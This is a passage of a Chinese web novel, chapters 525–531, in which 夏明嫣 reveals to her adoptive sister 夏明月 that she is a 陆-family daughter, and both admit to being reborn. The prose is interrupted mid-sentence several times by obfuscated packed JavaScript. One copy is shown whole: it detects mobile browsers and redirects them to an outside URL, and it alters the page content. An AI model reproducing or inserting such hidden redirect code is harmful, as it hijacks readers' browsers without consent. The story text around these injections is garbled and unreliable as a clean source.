夏明嫣要是放开了泼辣一把,岂是乔嬷嬷这样虽为下人,却在高门里体面了一辈子的管家嬷嬷能比的。 夏明嫣又说了一些提示夏明月的话,就听到宅子里传来夏明月的骂声和摔砸东西的声音,紧接着巧兰就来开门了,请了夏明嫣进去。 夏明嫣一进去就瞧见一个梳洗打扮得非常精致却满脸怒容的夏明月,她笑了笑,自己找了个干净地方坐下,饶有兴致地打量着她: “看来把你软禁在此静心养气,也没有什么用,还是这般急躁。怎么这样看着我,好像不认识我了似的。” 夏明月的目光并不是打量陌生人或是好久不见的人的那样,她目光中的情绪要更加遥远,像是在看一个上辈子的人。 夏明月这些日子以来怎么想都想不通,重生以来,许多上一世的细节的确改变了,但这都是正常的,因为大事儿上很多都还是应验了的。 可偏偏这些没应验的大事都发生在夏明嫣这边,应验了的都在她这一边。 她上一世被软禁在华家家庙十年,也差不多是从这个时间开始的,现在她嫁给了李玦,为什么还是被软件了,只是地点换成了端侯府她自己的院子。 夏明月指着夏明嫣歇斯底里地道:“凭什么你什么时候都可以过得这么好,被贬妻为妾了,还能当上正妻。凭什么他们一个个地都不愿意舍弃你,却弃我如敝履?” “我明明已经嫁给阿玦哥哥了,他那时候还没袭爵,我对他也算是不离不弃了吧?我不过是卖了一把刀出去,没跟他商量而已,他就气成这样了。” “他不反思自己气量狭小,没有我,他早晚也得被别人气成这样。好啊,全怪到我身上了。是,我现在是看不上他,没像那个**的吕氏一样亲自动手伺候他,可我是谁?我是端侯夫人、夏家的嫡次女,堂堂楚相还是我的嫡亲外祖父,凭什么让我跟那个**一样才叫不离不弃?” 第525章王见王(2) 夏明月的这种逻辑其实不难猜,可自己猜到和亲耳听到相比,还是后者的震撼更大,夏明月竟然真是这样想的。 “二妹妹,婚是你要死要活要换的,我一句话都没多说,立刻应了,奉旨冲喜。按理说你可以跟端侯一生一世一双人了,就像市井里那些话本子说的一样,是你自己把日子过成这样的。” “你说他气量小,你嫁给他之前不知道吗?你们青梅竹马,两家又是世家,按理说你该很了解他才对。怎么,你之前不了解啊?那你干嘛还那么执着地非他不嫁呢?” “你说你没法子像吕小娘那样伺候病中的他,那你也大可不必对他恶语相向,克扣他的饮食、用度。吕小娘服侍他一场,谁家有这么一个能替自己尽心尽力地不都得高看一眼么?你都干了什么?一天没沾手,还嫌这嫌那的,久病床前无孝子也占着一个‘久’字呢。” 夏明月这个人最大的问题就是冲动,没有耐心,当初夏庸给她和华靖离定下婚约的时候,也是劝过她的。 李玦不仅年轻、心高气傲,端侯府有家底,却藏在极深的连他们自己都轻易触碰不到的地方,因此他心理缺乏底气,就格外在意面子。 对待这样的人,远比对待那些比他位高权重且看起来脾气更大的人,更要小心谨慎。哪个地方不对了,他不仅可能反过头来欺负你,把他气出个好歹来,你若是依附他而生的,你的天可就塌了。 夏明月但凡更有耐心一点,先捧着李玦一些,等日子久一点再表现出不耐和厌烦来,都没这么都没这么多人指着她的鼻子骂。 夏明嫣用帕子擦了擦自己的手,说是夏明月的吃穿用度不变,看来还是样子话,巧兰一个人忙不过来,这椅子上都落灰了, “你自己找了一个需要一直捧着的人,你从前在夏家的时候,不也把父亲和母亲捧得挺好么,现在让你换一个人捧着就不行了?” “你还说你跟他情投意合、无比般配,端侯这个人惯会做戏,跟自己的义兄多年来连面都没见过几面,书信更是只有一两封,都知道找那说书的编些故事出来造势,这一点你跟他真是一点都不像。” 话说得难听,但道理却不假,经过了这么多事,夏明月已经不像从前那样一点道理都听不进去了,她稍微冷静了一些,但还是难掩怒气地道: “早一点晚一点能有多大区别?从前你觉得我很会装,很讨厌我,对吧?我现在不装了,也不对了,我怎么做都是错的,那我就想做什么就做什么!” “说我是毒妇,我要是恶毒到底了,哪儿来的何小娘和什么吕小娘。我还是不够恶毒,才给了你们这些反扑的机会,我该在一开始把你们都宰了!” “宰谁?宰我们?你这个人就是吃不了苦,也不够狠!” 夏明嫣想到上一世被夏明月用白绫勒死时苦苦挣扎的情景,笑得有些瘆人, “即便你提前知道何雨萍会进门做妾,吕冠瑛会进门抚养自己的亲外甥还连带着生了一个小的,你会踏入何家的门或是吕家那位于市井之地的小宅子,去要了他们的命么?事儿没到你头上,你去做这种事儿,怕是还会担心弄脏了你精美的绣鞋吧。” “你还喜欢看人受折磨,要是我一回元京,你就弄点无色无味的药把我给毒**,也就没有后面的事儿了。偏偏你想看我守望门寡,想看我在华家如何被整个元京高门嘲笑,看我没有子嗣被婆母和府里的妾室针对……我没说错吧,难道你不是这样想的?” “很多坏人就事儿就败在这种癖好上,你折磨别人,别人就一时半会儿死不了,但凡人活着就有翻本儿的机会。这个人有比你有可取之处的话,说不定就会反过来吃了你呢。” 夏明嫣像讲鬼故事吓唬小孩儿一样,夏明月刚才为了吓唬她,站得离她很近,这会儿反倒被她吓了一跳。 夏明月反应过来之后,故作镇定地往后退了两步,脸上露出一抹僵硬的不屑: “不是有事儿要跟我说么?不会是虚张声势吧?我先告诉你,我虽然被圈在了这儿,也有人告诉我外面的消息,我不是聋子、瞎子!” 夏明嫣都不知道怎么说她好了,语声幽幽地道:“宅子里上上下下每日花用的都是主子们的银子,可你这个做主子的,可知道一两茶叶、一支蜡烛、一把菜… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“按理说,这种关系,端侯府这边称病,给你把礼留下,再留几句话也就是了。哪儿有主家不见,还强行要见的……更何况来看端侯夫人的人里面,应该没有女眷,反倒只有几个风尘仆仆的男子吧?” “让我猜猜,你都是跟他们怎么搭话的,是不是问他们在北疆有多少人马、庶产,想看看楚家还能给你多少支持,让你做什么事儿,让你将来好能从当中哪里分一杯羹吧?” 第526章夏明月,你不是夏家女(1) 那些人走了之后,夏明月没有告诉任何人,就意味着至少从她的角度来说,跟人家说的挺好的,至少对方让她觉得有利可图了,就像谈成了一笔还未运作的大买卖。 这才让她没有告诉任何人,因为她担心被别人知道了,会占了她的好处去。这“别人”二字的范围正在不断扩大,现在也显然包括了楚氏和乔嬷嬷。 “你怎么知道?那里面也有你的人?”夏明月惊疑地瞪大了眼睛。 上一世的夏明嫣这时候刚刚在端侯府才得到了何夫人的一部分信任,跟着邓澜打理一部分庶产,哪里就这么厉害了。 难不成夏明嫣在卢阳的时候就借助杨家养出了自己的势力?也不是没可能,谁家没有点藏在暗处的人,杨家在杏林也是一方泰斗,有这样的人在,也不足为奇。 而且杨家人丁单薄,到了这一代就只剩下夏明嫣和杨敏仁的独子了,杨家的势力能给夏明嫣这个唯一的外孙女用也不是没有可能的。 这一点跟她不一样,他的两个舅父各自都有儿女,就连楚氏也生了她跟夏登云两个,纵使因为牵扯到种种原因楚霆孝对楚氏和她都看重,该帮的地方从来都是有求必应的,可到底跟夏明嫣这样几乎可以借杨氏全族之力的不一样。 为什么,她为什么不是楚家唯一的外孙,甚至不能是楚、夏两家唯一的后人,为什么夏庸可以放弃她而转头就选择了夏登云,为什么楚霆孝近来也不那么护着她了…… 为什么这些人都有那么多别的选择,为什么她不是唯一的选择。 夏明嫣不清楚夏明月现在具体在想什么,但看得出来她现在更恨自己了,她无奈地冷哼了一声: “不是,我甚至没见过他们,也没跟他们说过话,可你自己也应该想到了,他们来看你这件事其实很奇怪。其实,他们不是什么故交家的人,而是对来说也是你对他们来说,更重要的人。” “我就直说了吧,他们是你父族的人,你别误会,他们不是夏家的人,是另一家的人。” “父族,另一家人?夏明嫣,你别太过分,见我现在不得势,居然想污蔑我不是夏家的女儿。接下来你是不是要说,我是母亲跟别人生的……” 夏明月说完这句自己先就愣住了,作为女儿,她很小的时候就意识到楚氏心里藏着别人,等到大一些,从下人们背地里说的那些话里,她渐渐确定了这个男人就是楚氏昔日的未婚夫婿陆远山,一个被流放的世家公子。 难不成她是陆远山跟楚氏的女儿?可是也不对啊,她的出生是在楚氏和夏庸成婚两年之后,那时候陆家人早就已经去了彭州了,她根本不可能是陆家女。 她像是从一个谎言里醒悟过来了一样,咬牙切齿地开口,“夏明嫣,你想骗我是陆家女,那不可能,我母亲早就跟陆家没关系了……” “是,楚夫人早就跟陆大人断了联系。可谁跟你说,你是陆大人跟你现在的母亲生的?夏明月,你醒醒吧,无论是父亲还是楚夫人都跟你没有血缘关系,他们都只是你的养父母而已。” 夏明嫣一点不惧地回视着她,那目光大有雷电击穿层层乌云的犀利,因为她说的才是真相,一个任何人最终都否认不了的真相, “没错,你姓陆,你是陆远山与他的如夫人所出的女儿。你出生时便从胎里带了寒症,被陆家托付给楚夫人照顾、医治,与夏登云一起出生的夏家二姑娘不是你,她因为你被送走了,还差点连命都丢了。” “你一定觉得自己怎么就那么重要啊,能让楚夫人送走她自己的亲生女儿,甚至可以让她眼睁睁地看着自己的亲生女儿**。不,这不是因为你有多重要,是因为陆家对楚、夏两家很重要。” “你既然已经知道端侯府拥有那笔海藏,也猜到了端侯府和楚家在谋划什么了,你该知道陆家对他们来说有多重要。不把你这个陆家人养成夏、楚两家的女儿,他们怎么能握住陆远山的软肋呢?” 谋划那种大逆不道的事,谋划和手里已经拥有的权势固然重要,但根本还在于兵马上,若是没有陆家,楚、夏两家和端侯府有再多的谋划都没有用。 而且楚家都是文臣,夏庸的兵部尚书是被楚霆孝扶上去的,他擅长的是平衡关系和粮饷筹集、调拨,本人并没有真正领过兵。 端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“母亲么,一来,你毕竟是陆远山的女儿,故人之女。这二来么,你听说过别的鸟儿将杜鹃幼崽当作自己所出的小鸟养大的事吧,还有那母狼捡了人生的小孩就那样养在狼群里的故事吧。” “她失去了亲生的女儿,想找回来,却被自己的亲生父亲威胁。她心里头一想到自己的亲骨肉就钻心地疼,这时候她看到一个跟自己的女儿相差不多的孩子。她们一样的脆弱、干净,一样的玉雪可爱,她不想再让自己那么疼了,把这孩子当作自己的亲生女儿,又有何妨?” 第527章夏明月,你不是夏家女(2) “夏明月啊夏明月,你就是她止痛用的一剂麻沸散。她对你的确有母女之情,可当中又有多少是因为你这个人,还有多少是因为她把你当作了自己亲生女儿的替代品,你分得清楚么?” 夏明嫣笑出了声来,用最肆意的姿态激怒夏明月,只有这样,她之后才会找上陆家,为提前激反陆家加一把火。 但她说的也是实话,从楚氏那日见到于杏儿的反应来看,恐怕连楚氏自己都分不清楚她对夏明月的母女之情究竟有多少只是因为夏明月这个人的。 夏明月脸上最后一点血色也肉眼可见地开始变得苍白,连带着她说出的话也变得磕磕巴巴的: “可你是父亲亲生的,她为了我把你送回了卢阳。他这么做,都是为了我,他心里根本没有你这个亲生女儿。” 夏明嫣不屑地看了看她:“为了夏氏一族,为了他自己的功名利禄,他眼里有谁?别说我和我母亲了,就是祖父和祖母,他又何尝真正放在眼里过。你想拿他来刺痛我,是想多了。” “他对我怎样,我都不会感到惊讶。是,他是在不知道你是陆家女的情况下对你疼爱有加的,但他送走我,并不是因为你。是因为他娶了楚家女,他要靠着自己的岳父坐稳兵部尚书的位子。” “他把我送走是为讨楚夫人的欢心,也是为了向楚相表态,显示他的忠心罢了。再有,那时候我已经两岁多了,虽然我还是个孩子,我看过我真正的二妹妹,我的话别人不会信,可是难保祖母不会信。楚夫人担心事情败露,主动暗示他把我送走,他哪里会不答应。” “他现在想下船了,要是有人能保夏家平安,保他继续享受高官厚禄,你信不信他可以休妻再娶?即便你是他亲生的,你这个楚氏女所出的声名狼藉的嫡次女,不知道还能不能回卢阳老宅呢。” 楚霆孝要是倒了,那罪名定然比当年陆家流放要大,夏庸哪里还敢沾边儿,这时候要是有哪一个高门能保他,而对方刚好有一个准备二嫁的女儿看上他了,他不休楚氏才怪。 说难听点,杨氏当年只是没用了才被夏庸冷待,从而看不上夏明嫣这个女儿,可杨家从来都没有真正落过罪。 即便当年老尚书那件事真的落在了扬老爷子头上,杨家人全掉了脑袋,这件事也完全不能跟楚霆孝的所作所为相比。 因此,夏明嫣还能在卢阳老宅长大,还是夏家人,可夏明月或是于杏儿乃至夏登云可就不是这么回事了。 真到了那时候,他们连夏家人都做不了,除了族,爱去哪儿去哪儿还差不多。 夏庸大不了从老家过继一个二房的儿子过来,也不影响他安度晚年,他才不会为了子女牺牲他和夏家的利益呢,不管这个子女实际上是谁生的…… 夏明月的脸色更惨白了:“不……不对,如果我是陆家女儿,他们想用我巩固他们之间的盟约,为什么一开始要让我嫁给华靖离?你是骗我的对不对?” “如果你说的是真的,他们应该直接让我嫁给李玦才对,华靖离跟这件事没有关系,他们应该直接把你嫁过去。” 这个问题夏明嫣也琢磨过,可她那时很快就想通了: “要做成那样的大事,占据整个南疆而自立为王,光有一个陆家,又是在彭州那种的地方成长起来的,显然是不够的。而华家日渐被东宫和朝廷忌惮,我夫君刚巧成了他们认为可以拉拢的对象。” “端侯府原就跟他们结了盟,即便没有女儿去联姻,也跑不了。何况还有我呢,我虽然跟你的阿玦哥哥没有感情,可我胜在听话、稳妥。你看看我嫁进华家以后为华家做的那些事儿,你说要是这些事是我帮端侯府做的,即便我是个无盐女,他是不是也得对我客客气气的?” “至于你,那时的他们的确是高看你的,金尊玉贵的高门贵女能差到哪儿去,他们自认为你一定能笼络住我的夫君。当然了,在这件事里至少父亲和夫人是有真心为你着想过的,他们都是过来人,慧眼识人,端侯和我夫君想比,孰优孰劣他们自然清楚。” 楚氏和夏庸那时应该考虑过这一点,即便夏明月拢不住华靖离的心,以华靖离和华家人的行事做派,只要她老老实实地待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我是陆远山的独女,他们说句话,李玦那个怂货能不答应?我可是独女,是他们家唯一的根苗。” 夏明月可算抓住了一处她认为逻辑不通的地方,在这场密谋中,陆家出的是人马,端侯府出的是钱财,他们二者相辅相成、缺一不可。 李玦都这样了,将来定然是陆家掌握的主动更多,只是放她出来这么一个小小的要求,只要陆家开口,难道李玦不会照办? 第528章承认重生 夏明月觉得这里说不通,而且她前世死得比夏明嫣晚,到死也没人跟她说过她跟陆家有关系,就连夏明嫣也没有。 事实上陆家那时的确成事了,只是在孙允斌和李玦得势之后不久,就带兵回到了元京,将登基未久的谢维变成了傀儡,而陆家则留在了南疆镇守。 夏明月冷笑了一下:“都是你编出来的吧,听起来合情合理,但现在事情既然已经挑明了,如果我真是陆家的女儿,为什么母亲不告诉我?陆家的人也不会只字不提。” 夏明嫣也笑了一下,仿佛夏明月对着她冷笑是一件极其可笑的事: “很多时候不去做一件事,不是因为不想,而是没有必要再这样做了。夏明月,有一件事你刚才说错了,其实你并非陆远山唯一的女儿。” “他还有一个女儿,也在元京,她并非在高门中教养长大,却也不输寻常富户家的姑娘。虽然跟你比起来,多少有些小家子气,可她胜在名声好,将来认回去,也可以说成是历尽千辛万苦才寻访回去的蒙尘明珠,比如今的你要有价值的多。” “你连掌家都要假托乔嬷嬷之手,除了一张脸和端侯夫人的身份,也没什么能让陆家看重的。他们倒不如重新扶植一个之前未出现在高门视野里的新人,相对来说,她是一张白纸,反而更能由着他们的心意来。” 没错,画扇只是侍女,可她没有声名狼藉,她也并非目不识丁的山野村妇,虽说在才学和规矩礼仪上远比不上正统的高门贵女,经过训练之后,也在女子可以接受的范围内。 由画扇做这个陆家千金或许不会太出彩,可也不会像夏明月这样太丢人现眼。若是手头没有一个出挑的人选,这倒不失为一个不错的折中选择。 而且画扇还有一个优势,就是她这一世只是一个毫不起眼的侍女,之前她一直在卢阳,夏明嫣这回出嫁时都没带她,就算陆远山后来上位了,元京高门也已经洗了牌了,哪儿还有人记得她曾经做过侍女? 到时候陆家人称她是在未流放的远亲家里长大的,甚至说她也是从彭州过来的,与他们同甘共苦过的,都不会有人怀疑。 但这里面最让夏明月惊讶的是陆远山居然还有一个女儿,这跟她这两辈子以来查到的都不一样: “不可能,他怎么可能还有一个女儿……难道你知道他的另一个女儿在哪儿?你说我不是夏家亲生的,还有别的证据么?没有,你就是瞎说,你在骗我……” 夏明月的语气已经不像之前那般笃定了,现在的处境让她不得不承认,无论是哪一世她都不是一个心思缜密、能独当一面的人,她的记忆真实却未必准确。 她潜意识里已经相信了夏明嫣说的话,因为只有夏明嫣说的这些才会让断续而不合理的现实片段合理地连贯起来,而她原本的记忆细想起来却有诸多不通的地方。 夏明月心里突然生出一种兼具了破罐破摔和因为刺激、兴奋而热血沸腾的感觉: “就算是真的,陆家有人马,端侯府有钱财,楚家有权势,夏家也不会完全不管,陆家是有希望成事的。就算陆远山有两个女儿又如何,我依然会活得金尊玉贵,你们依旧会是阶下囚。” “夏明月,你做什么美梦呢?陆家要是能那般看重你,楚相或是楚夫人已经急着让你认他们了吧?” 夏明嫣为夏明月的自信鼓了两记巴,“他们非但没有,乔嬷嬷刚刚听说说起此事,还丝毫没有告诉你的意思,反而阻拦我来见你。” “他们都没打算认你,夏明月,你还不明白吗?你已经彻底沦为弃子了,陆家即便成了事,也跟你没有多大关系。锦衣玉食或许他们还会给你,可你活着就只是为了得到这些你从小就拥有的东西么?” 即便被软禁在此,夏明月也依旧享受着锦衣玉食的生活,人们也得尊称她一声“端侯夫人”,她要的从来不止这些。 夏明月越想越委屈,乔嬷嬷到现在都没有追进来,可见在阻拦过夏明嫣之后,也渐渐想明白了,不如借夏明嫣之口告诉她这个事实,而只要不进来,就可以不答应她任何事。 即便夏明嫣说的都是真的,十六年的养育之情、承欢膝下,难道就换不来他们一点怜悯和看顾? 以前的所有偏爱在发现她不得用之后通通化为了泡影,她以前从来都没有意识到这些一直围绕着她的人是那般的冷漠和现实。 那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“夏明月,你刚刚在说什么?你怎么知道华侯一定早逝?你什么时候勒死过我?在我回到元京之后,你何曾把我踩在脚下?你是疯了吧。” 都到这一步了,夏明嫣也不想装了,把重生挑明了,让夏明月知道她两辈子都没活过自己,把她气疯,她才会去找陆家。 陆家人对夏明月的了解还不深,陆远山和那位如夫人对她还有歉疚和感情,她还能装一装回头是岸的好女儿。只要她去求陆家人,她还是能得到些支持的。 只要夏明月手里有了来自陆家的权力,她必定会趁乱报复,陆家就会提早被拖进泥潭。 第529章既要又要 夏明嫣假装不信,故意大声嘲讽道:“你是在梦里把我踩在脚下的么?难不成你还活了两辈子不成?你是在上辈子把我踩在脚下的吗?” “你好厉害啊,啧啧,就你这样的,你是怎么赢过我的?听你说什么‘他算计你’,是被人当刀使了吧?那是执刀人赢了我,不是你赢的我。” “不,就是我赢的你,我亲手勒**你,你就是输了,你为我做了嫁衣!我,夏明月,那时候跟陆家没有一点关系,还是做了端王妃!” 夏明月癫狂地凑近了夏明嫣的脸大笑,瞪直了眼睛炫耀着道,“没错,我就是活了两辈子,我本来已经**,死在了成为端王妃的第二个月。” “你肯定想不到,我**之后,外头那些人都说我痴恋李玦多年,嫁给了华靖离依然痴心不改,我守了十几年,终于守得云开见月明,我嫁给了李玦。李玦她不忘旧情,娶了二嫁的我!” “你算什么东西,你是夏家逼着他纳的妾室,靠着打理家、能帮上他,还熬**正室,才被他勉为其难扶正的,你哪点能跟我比!这辈子你嫁给华靖离又如何,要是你帮不上他,他会对你这么好么?” “你是因为有用,才被看重。我跟你不一样,李玦他心仪于我,他对我好不是因为世间俗物!你就像个傻子一样,连我重生了都不知道……” 夏明嫣盯着夏明月看了一会儿,忽然明白了夏明月的优越感从何而来,她要的是一个人由衷地对她好,不掺杂任何的外物。 从前她就觉得夏明月的心理有些古怪,可直到这一刻她才明白这古怪之处究竟在哪里。 这话要是别人说或许还没那么奇怪,偏偏出自夏明月这么一个最重视外物的人。她要功名利禄,要世人艳羡,要把别人踩在脚下,还处处用自己的家世欺凌任何比她出身低下的人…… 这样的夏明月,居然要求别人只爱她这个人,而不是她的出身、家世和她背后的一切,甚至别人的那份心仪里掺杂着这些也不行,更有甚者她还认为夫妻之间因为恩义和互相扶持而加深的感情不算真感情! 感情人家就得看着她这张脸和那性子,就对她痴心不改、一生无虞啊,这都是什么毛病! 目光中的惊讶、诧异渐渐变为了清冷,夏明嫣抬手推开她: “夏明月啊夏明月,你从来自诩夏家唯一的幸运儿,可你有没有想过,你所谓的幸运、际遇不仅会光顾你,也会光顾别人呢?” “你以为你是谁,百年、千年难得一遇的事,就只有你一个人遇上了。你有没有想过,我也重生了!” 夏明嫣最后半句几乎是一字一顿说出口的,她刻意用眼中的笑意刺痛夏明月,不过她没有提华靖离也重生了。 毕竟华靖离现在跟谢维还在南疆,那边未知的事情太多,她可不想再出变数,需要变数的只有陆家。 夏明月愣住了,她的眼神渐渐转为惊恐,甚至不受控制的接连**了好几步: “你也重生了?这不可能……不不,我不是没想过这种可能,可怎么会呢?出嫁之前,你两辈子都没给华靖离把过脉,你怎么知道你能治好他?万一治不好呢?上辈子他的脸有多可怕,你后来在南疆不是都看到了吗?” “你居然敢嫁给他,你跟父亲说那番话的时候,没有一点厌恶和恐惧,怎么可能!还有那个吕家的**,是你之前突然发现的,除非你上辈子就知道,否则你怎么会注意到那样一个**。可你如果知道,你能容得下那个野种?” 这时候夏明月脑子转得飞快,她恨不得回忆前前世的每一个细节,她从来没听说过端侯府中有过孩子,也听说过哪个孩子夭折了。 难道是夏明嫣这辈子才发现的,所谓的重生就是听她说了之后说出来跟她打擂台的? “不,你没有重生,重生的只有我,不然你上辈子怎么忍得了?你不喜欢李玦吗?你不是宁愿做妾也要嫁给他吗?你能容得下那个孩子?你骗我,你这个骗子!” 夏明嫣听完直摇头,还不顾仪态地翻了个白眼送给她,双臂交叉抱在身前,好整以暇地娓娓道来: “夏明月,你先弄清楚,不是我甘愿做妾,是我没你这个夏家嫡次女命好、有靠山,我要是不给李玦做妾,就得被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423997|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们弄到南疆去嫁给哪个练私兵的山大王。我不想死,也不想变成野人,就得嫁。再说了,你不也乖乖地嫁给华靖离了吗?” 连命都要没了,饭都吃不上了,又不是为了什么崇高的理想而牺牲,她当然得先活着,谁能像夏明月这么不食人间烟火…… 不,这么说也不对,夏明月那叫用人间富贵全副武装她自己,然后再视富贵权势如粪土! 而且最重要的是,夏明月嫁到华家的时候华靖离已经毁容了,还一身的伤病,让她一直独守空房。 婚仪的时候是奉旨成婚,她不闹可以理解,可是之后她不也没闹么?人家让她和离她都不干,那时候她怎么就不为了她的阿玦哥哥奋不顾身了? “你说李玦那时候看重我和华侯现在爱重我是因为我有用,我不否认有这样的因由在,可哪个女子不想在危难之时得到自己夫君的帮助,又有哪个男子在焦头烂额的时候不想得到自己女人的体谅和不离不弃?” “自古就有用‘贤内助’称呼妻房之说,说的就是妻子能帮上丈夫,这种帮助可以出自妻子的家世和掌家、处事的能力,也可以是她的体贴性情,再或是天凉时给自己的夫君添一件衣裳、煮一碗姜汤,你看看你都做什么了?” “你不用回想,后头的这些你都没做。你一定要说你的家世为他袭爵做出了贡献,没错在这点上他的确要感谢楚、夏两家,可是他是什么人,你以为他是父亲啊,他愿意承认自己受了妻族的恩惠么?” “你不用说我都能想到你是怎么把他气**的,你肯定说了,不就是一把刀么,他占了楚家这么大的便宜,一把刀怎么了,没有楚家,他什么都不是!” 这不可能是夏明月的原话,但夏明月当时的确用楚、夏两家的扶持为她卖刀和私自把李玦抬进御青书院的擢选辩解了。 一开始李玦的反应虽然大,却在正常、可控的范畴内,细想起来还真是因为她不停地提起这些而不行了的。 人气到什么程度,很多时候都事一念之间的事儿,谁少说一句话,都可能不至于如此,李玦真是被她气成那样的。 第530章上一世,谁都没说 单从这一点上说,夏明嫣也为这一世的李玦叫屈,在将夏家女贬妻为妾这件事上,李玦不得不服从于何夫人的“母命”,尤其是当他的妻子换成了夏明月之后,他对夏明月还是不错的。 要不是李玦在前头撑着,夏明月这样对婆母不恭顺、对丈夫不体贴、不掌家理事还没来得及生养的新妇能不被搓摩? 夏明嫣看着夏明月:“人是你自己选的,又自小相识,你连他什么性子都不了解么?或许你不是不了解,你是一直自以为他对你会不一样。” “可一个人不会永远心仪另一个一成不变的人,世事变迁,成婚之后,他成长了,你却还像个孩子一样,一成不变。他不是不心仪你,他是背负得太多,他累了,背不动了。” “如果到了今天这一步你还觉得只有别人一昧地迁就你,为你要死要活,才算是心里有你,那就当我说说。” 李玦从小就生活在父辈的“旧寨”当中,受人恩惠、找人做靠山,对他来说,既是最迫切的需求,也是另他最敏感、最迫切的短处。 别人背后说闲话也就罢了,偏偏是自己的妻子,一个他认为最该了解、体谅他的人,也是一个会跟他共同享受既得利益的人,怎么就能无情地说出这些话来,这才成了压倒他的最后一颗石子儿。 在这件事的心态上,李玦的确不如夏庸心态平和。 夏庸早就知道自己在背后被人当做楚家的赘婿来议论,可人家一点都没有因此迁怒楚氏和那些议论他的人。 在这一点上他敢作敢当,而且对待对他有恩的楚家人一直顺从、恭敬,并没有因为自己没了脸面就存了报复岳丈家的心。 可李玦不是这样的人,那么作为流着楚家一半血脉的夏明月可就得小心了,不到撕破脸的时候,这条底线绝不能踩! 经过这些日子的反思,夏明月也并非没有这方面的意识,只是她心里还不服气,她始终觉得这世上就该有人无论她怎么做,都她始终如一。 不过眼下她倒是聪明地没有跟夏明嫣争辩这一问题,而是反问了一件事,让夏明嫣证明自己: “你说你也是重生过来的,那我问你,你既然知道我是陆家女,上辈子你为什么不告诉我?你是这辈子才知道的?还有那个……另一个陆家女儿是谁?” “你一定会说你是这辈子才知道的,可是上辈子陆家成事了,陆远山受封南王、南疆大将军,为什么楚家人和夏家人也包括李玦,他们都没有跟我提起过这件事?” 既然这当中有这么多的利益纠葛,这些人对她好有很多是因为利益的联合和利用,那么既然陆远山身居高位还统领南疆,有继续被拉拢的价值,为什么他们还是没有挑明这当中的关系? 夏明嫣若是解答不了这当中的疑问,那么她的重生就是假的,真正重生的还是只有她夏明月! 夏明嫣听了之后却没有急于辩解,而是又把夏明月从头到脚打量了三遍,才确定了夏明月是真不知道,她也不可能知道。 她真是被气笑了,亏她当初得知夏明月也重生了之后还如临大敌地隐瞒,现在看来就是说出了真相,也影响不大: “楚相和父亲、夫人究竟为什么不告诉你,你得去问他们,不过我有一些浅见,你可以听一下。当初陆家成事之后整个大恒都乱了,各地的起事的王侯众多,新朝的这些人各个都处在一种疲于奔命的状态中。” “反倒是南疆的局势最先稳定了下来,陆远山和陆家军成了各方王侯尤其是李玦和孙允斌都想拉拢的对象,具体他们是如何跟陆远山谈你们父女要不要相认的这些事的,我不得而知。” “可是当时的楚相、端王李玦和新相孙允斌无一例外的都不会想让你跟陆远山相认,因为你们一旦相认,你究竟会让陆家的这股势力帮谁呢?” 夏明月大惑不解:“既然要拉拢陆家,摆明了车马,说他们养大了陆家的女儿,不是更好吗?就算遗弃亲女的名声不好听,也完全可以私下相认。只要认了,我就会帮他们。” 夏明嫣诡异的笑了一下:“他们……问题就出在这个他们上,夏明月,你身上沾染的利益太多、太复杂了,夏家对你有养育之恩,可偏偏最疼爱你的养母姓楚,而楚家才是当初换女一事的主导,从小到大,给过你莫大的支持。” “当时你沉浸即将在二嫁成为王妃的喜悦里,你一定没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李玦,那时已经知道了真相,看上去也应该挑明这层关系让自己受益,可关键在于以夏明月这狗脾气,他也拿不准她知道自己的身世之后会帮他还是楚霆孝,所以他也没说。 夏明嫣把这些事儿掰开来、碾碎了说给夏明月听,她又说了画扇的身世,最后自己也笑得惨然: “……至于我为什么告诉你,秋果死之后,的确,我查到了画扇的身世,可直到我为秋果报了仇,画扇和她娘都还被乔嬷嬷瞒在鼓里。我那时候并没有怀疑过你的身世,因为我想不到楚夫人能为了你去舍弃自己的亲生女儿。” “不过我的确是在上一世知道你的身世的,你猜是谁在什么时候告诉我的?” 第531章临死都要利用一把 夏明嫣笑得都落泪了,她上辈子对李玦没有感情,但为了自己的生存,对李玦、端侯府、何夫人都算是尽心尽力,到头来李玦都要她的命了,还要把她当刀使一回,发挥他最后的作用。 她上一世知道了夏明月的身世之后不到一炷香的工夫就死了,这一点也是她在重生之后才想明白的。 “是李玦亲口告诉我的,就在你用白绫勒死我之前。我没有告诉你,一是因为我误以为你知道,再者我那时自己还没来得及想明白,你就动手了,我想告诉你也来不及。” “不过,你有没有想过他为什么要在那时候告诉我?我也是这辈子才想明白的,他想要把真相告诉你,因为他最终还是认为你会帮他而不是楚、夏两家,可是他不能亲口告诉你。” “因为你这个人总是要求别人无条件地对你好,如果让你以为他早就知道你的身世的话,他担心你会以为他一早就在处心积虑地接近你,甚至就是因为你是陆家女才要娶你的。他担心会激怒你,反而逼你去支持楚霆孝。” 